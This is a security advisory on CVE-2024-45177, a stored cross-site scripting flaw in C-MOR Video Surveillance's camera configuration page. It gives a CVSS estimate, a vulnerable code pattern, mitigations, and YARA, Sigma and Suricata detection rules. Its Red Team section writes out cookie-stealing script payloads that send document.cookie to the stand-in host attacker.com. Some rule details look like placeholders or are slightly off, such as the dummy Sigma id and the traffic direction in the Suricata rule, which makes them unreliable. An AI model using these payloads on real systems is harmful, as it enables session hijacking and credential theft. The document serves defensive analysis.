CVE-2024-45177

Executive Summary

CVE-2024-45177 is a persistent cross-site scripting (XSS) vulnerability discovered in the za-internet C-MOR Video Surveillance software, specifically versions 5.2401 and 6.00PL01. The flaw resides in the camera configuration module of the web interface, where improper input validation allows an attacker to inject malicious scripts that are stored and executed in the context of other users' browsers. This can lead to session hijacking, credential theft, or further compromise of the surveillance system. No official patch has been released, and the CVSS score is currently unassigned (0.0). The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the vulnerability is publicly known.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the nature of the vulnerability (persistent XSS), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – attacker needs access to camera configuration
• User Interaction (UI): Required (R) – victim must view the malicious page
• Scope (S): Changed (C) – XSS can impact other components
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires user interaction and low privileges, but it can lead to significant data exposure and system compromise in a surveillance context.

Deep Dive & Mechanics

The C-MOR Video Surveillance web interface allows administrators to configure cameras, including setting parameters like camera name, IP address, and other metadata. The vulnerability arises because the application does not properly sanitize user-supplied input before storing it in the database and later rendering it in the web interface. An attacker with access to the camera configuration panel (e.g., an authenticated user with low privileges) can inject malicious JavaScript code into a field such as the camera name. When another user (e.g., an administrator) views the camera list or configuration page, the injected script executes in their browser, potentially allowing the attacker to steal session cookies, perform actions on behalf of the victim, or deface the interface.

The attack flow:

1. Attacker logs into the C-MOR web interface with valid credentials.
2. Attacker navigates to the camera configuration page.
3. Attacker injects a payload like <script>alert('XSS')</script> into a text field (e.g., camera name).
4. The application stores the payload without sanitization.
5. When an administrator or other user views the camera list, the payload executes.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable: Directly rendering user input without sanitization
function displayCameraName(name) {
    document.getElementById('camera-name').innerHTML = name;
}

A patched version would use proper output encoding or sanitization:

// Patched: Using textContent to prevent XSS
function displayCameraName(name) {
    document.getElementById('camera-name').textContent = name;
}

Or server-side sanitization:

# Patched: Sanitize input before storing
import html
sanitized_name = html.escape(user_input)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a C-MOR Video Surveillance instance (version 5.2401 or 6.00PL01)
• Valid credentials with permission to modify camera configurations

Exploitation Steps:

1. Log in to the C-MOR web interface.
2. Navigate to the camera configuration section.
3. In a text field (e.g., camera name), inject a payload such as:

   <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the configuration.
5. Wait for an administrator to view the camera list, or lure them to the page.
6. The payload executes, sending the victim's cookies to the attacker's server.

Example Payload:

<script>new Image().src='http://attacker.com/log?c='+document.cookie</script>

Blue Team

Detection Steps:

1. Monitor web application logs for unusual input patterns in camera configuration fields (e.g., <script>, onerror=, javascript:).
2. Use a web application firewall (WAF) to block common XSS payloads.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Regularly review camera configuration changes for unauthorized modifications.

Hunting Query:

SELECT * FROM web_logs WHERE url LIKE '%camera%' AND body LIKE '%<script>%';

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains from the C-MOR server.
  • Unusual JavaScript files or inline scripts in the web interface.
• File IOCs:
  • Modified camera configuration files containing script tags.
• Behavioral IOCs:
  • Unexpected changes to camera settings without legitimate authorization.
  • Multiple failed login attempts followed by successful configuration changes.

Detection Engineering

YARA Rule

rule CVE_2024_45177_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting C-MOR Video Surveillance"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45177"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "javascript:" ascii wide nocase
        $xss4 = "onload=" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: C-MOR Video Surveillance XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts in C-MOR camera configuration
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/camera/config"
        cs-method: "POST"
        cs-uri-query|contains: 
            - "<script>"
            - "onerror="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in configuration (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"C-MOR XSS Payload Detected"; flow:to_server,established; content:"POST"; http_method; content:"/camera/config"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patch becomes available, apply it immediately. Currently, no patch exists.
2. Input Validation: Implement server-side input validation and sanitization for all camera configuration fields. Use a whitelist approach for allowed characters.
3. Output Encoding: Encode all user-supplied data before rendering in HTML context (e.g., use textContent instead of innerHTML).
4. Content Security Policy: Deploy CSP headers to restrict script execution to trusted sources only.
5. Access Control: Restrict camera configuration access to only necessary users. Use multi-factor authentication.

Long-term Fixes:

• Conduct a full security audit of the web interface.
• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Regularly update the software and monitor for security advisories.

Workaround:

• Disable the camera configuration feature if not needed, or restrict it to a dedicated admin workstation.

Valters IT